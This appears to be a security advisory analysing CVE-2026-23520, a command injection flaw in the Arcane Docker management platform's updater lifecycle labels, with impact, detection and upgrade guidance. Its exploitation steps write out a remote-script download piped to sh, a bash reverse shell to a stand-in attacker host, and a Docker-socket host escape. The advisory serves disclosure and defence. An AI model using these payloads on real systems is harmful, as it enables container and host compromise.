CVE-2026-23520: 
vulnerability analysis and mitigation

CVE-2026-23520 is a command injection vulnerability (CWE-78) in Arcane, a modern Docker management platform, affecting all versions prior to 1.13.0. The flaw resides in Arcane's updater service, where lifecycle label values (com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update) are passed unsanitized directly to /bin/sh -c, enabling arbitrary shell command execution. The vulnerability was reported by researcher DenizParlak, disclosed and patched on January 15, 2026. The GitHub Advisory Database rates it Critical with a CVSS v3.1 score of 9.0 (Scope: Changed), while Feedly's data reflects a base score of 8.0 (High, Scope: Unchanged) (GitHub Advisory, Arcane Advisory).

The root cause is improper neutralization of OS command special elements (CWE-78) in Arcane's Go-based backend updater service. The GetLifecycleCommand function in backend/internal/utils/arcaneupdater/labels.go reads Docker container label values and constructs a command as ["/bin/sh", "-c", <label_value>] without any sanitization or allowlisting. Because the Arcane API permits any authenticated user (not just administrators) to create projects and set arbitrary container labels, an attacker can embed a malicious shell payload in a lifecycle label. Exploitation is triggered when an administrator manually or automatically initiates a container update, causing Arcane to execute the attacker-controlled label value as a shell command inside the target container (GitHub Advisory, Patch Commit).

Successful exploitation results in remote code execution (RCE) within the context of the updated container, with full confidentiality, integrity, and availability impact on that container. If the container has host volume mounts (e.g., /var/run/docker.sock), the attacker can escalate to full host system compromise, enabling data exfiltration, lateral movement to other containers, or complete takeover of the Docker host. Even without sensitive mounts, an attacker can read or write to any host paths mounted into the container and exfiltrate data via outbound network requests (GitHub Advisory, Arcane Advisory).

Public proof-of-concept (PoC) exploit code is available on GitHub at https://github.com/0xzap/CVE-2026-23520 and https://github.com/cypher-21/CVE-2026-23520, and has been indexed by Sploitus. The vulnerability requires low privileges (any authenticated API user) and user interaction (an administrator triggering a container update), making it a realistic threat in multi-user Arcane deployments. There is no confirmed evidence of in-the-wild exploitation at this time, and it is not listed in the CISA KEV catalog. The EPSS score is approximately 0.098% (0.042% per GitHub Advisory), placing it in a low-to-moderate exploitation probability range (GitHub Advisory, Sploitus).

1. Reconnaissance: Identify an internet-facing or network-accessible Arcane instance running a version prior to 1.13.0. Obtain low-privilege API credentials (any authenticated user account suffices).
2. Create malicious project: Authenticate to the Arcane API and create a new project (or container definition) that includes a Docker label with a malicious payload, e.g.:

   com.getarcaneapp.arcane.lifecycle.pre-update: "curl http://attacker.com/shell.sh | sh"

   or for a reverse shell:

   com.getarcaneapp.arcane.lifecycle.pre-update: "bash -i >& /dev/tcp/attacker.com/4444 0>&1"

3. Wait for administrator action: The payload executes when an administrator triggers a container update (manually via the UI/API, or automatically via scheduled update checks). No further attacker interaction is required after project creation.
4. Command execution: Arcane's updater service reads the lifecycle label and executes the value via /bin/sh -c <label_value> inside the container, granting the attacker a shell or executing arbitrary commands.
5. Escalate (if applicable): If /var/run/docker.sock or other sensitive host paths are mounted into the container, use Docker socket access to escape the container and compromise the host (e.g., docker run -v /:/host --rm -it alpine chroot /host). (GitHub Advisory, Patch Commit)

• Network: Unexpected outbound connections from container processes to external IPs or domains (e.g., reverse shell callbacks, data exfiltration via curl/wget); unusual DNS queries from Docker containers.
• Logs: Arcane application logs showing lifecycle hook execution (updateContainer: starting update) followed by unexpected process spawning; Docker daemon logs recording exec calls with /bin/sh -c and suspicious payloads.
• Container/Process: Unexpected child processes spawned by the container's main process (e.g., bash, sh, curl, wget, nc, python) during or after an update event; new cron jobs or persistent backdoors installed inside containers.
• File System: New or modified files in container filesystems or mounted host volumes created around the time of a container update; web shells or scripts dropped in accessible directories.
• Docker Labels: Containers with com.getarcaneapp.arcane.lifecycle.pre-update or com.getarcaneapp.arcane.lifecycle.post-update labels set to non-empty, non-trivial values (inspect with docker inspect <container> | grep lifecycle). (GitHub Advisory, Arcane Advisory)

The primary remediation is to upgrade Arcane to version 1.13.0 or later, which completely removes the lifecycle label feature (pre-update, post-update, pre-check, post-check) from the updater service, eliminating the attack surface (Arcane Release, Patch Commit). Until patching is possible, restrict API access to trusted users only and enforce strict authentication controls on project creation. Audit all existing projects and containers for suspicious lifecycle label values using docker inspect. Additionally, avoid mounting sensitive host paths (especially /var/run/docker.sock) into containers managed by Arcane, and monitor container update activities for unexpected command execution.

The vulnerability was reported by security researcher DenizParlak and credited in the official Arcane v1.13.0 release notes (Arcane Release). TheHackerWire covered the disclosure on social media (Mastodon and Bluesky), and the vulnerability was picked up by aggregators including CyberHub Blog and CCN-CERT. Community reaction has been moderate, consistent with a niche Docker management tool; no major vendor statements beyond the maintainer's advisory have been issued.